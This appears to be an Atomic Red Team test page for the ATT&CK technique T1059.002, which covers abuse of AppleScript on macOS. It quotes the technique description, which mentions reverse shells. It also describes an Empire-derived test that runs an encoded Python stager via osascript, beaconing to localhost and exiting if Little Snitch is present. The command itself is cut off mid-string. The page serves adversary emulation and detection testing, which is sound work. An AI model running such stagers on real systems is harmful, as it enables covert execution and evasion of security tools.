

T1059.002 - AppleScript

Description from ATT&CK

Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

Scripts can be run from the command-line via `osascript /path/to/script` or `osascript -e "script here"` . Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding `#!/usr/bin/osascript` to the start of the script file. (Citation: SentinelOne AppleScript)

AppleScripts do not need to call `osascript` to execute, however. They may be executed from within mach-O binaries by using the macOS [Native APIs](#) `NSAppleScript` or `OSAScript` , both of which execute code independent of the `/usr/bin/osascript` command line utility.

Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native APIs](#), which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](#).(Citation: Macro Malware Targets Macs)

Atomic Tests

- [Atomic Test #1 - AppleScript](#)

Atomic Test #1 - AppleScript

Shell Script with AppleScript. The encoded python script will perform an HTTP GET request to 127.0.0.1:80 with a session cookie of "t3VhVOs/DyCcDTFzIKanRxkvk3I=", unless 'Little Snitch' is installed, in which case it will just exit. You can use netcat to listen for the connection and verify execution, e.g. use "nc -l 80" in another terminal window before executing this test and watch for the request.

Reference: <https://github.com/EmpireProject/Empire>

Supported Platforms: macOS

auto_generated_guid: 3600d97d-81b9-4171-ab96-e4386506e2c2

Attack Commands: Run with **sh** !

```
osascript -e "do shell script \"echo \\\"import sys,base64,warnings;warnings.filter\""
```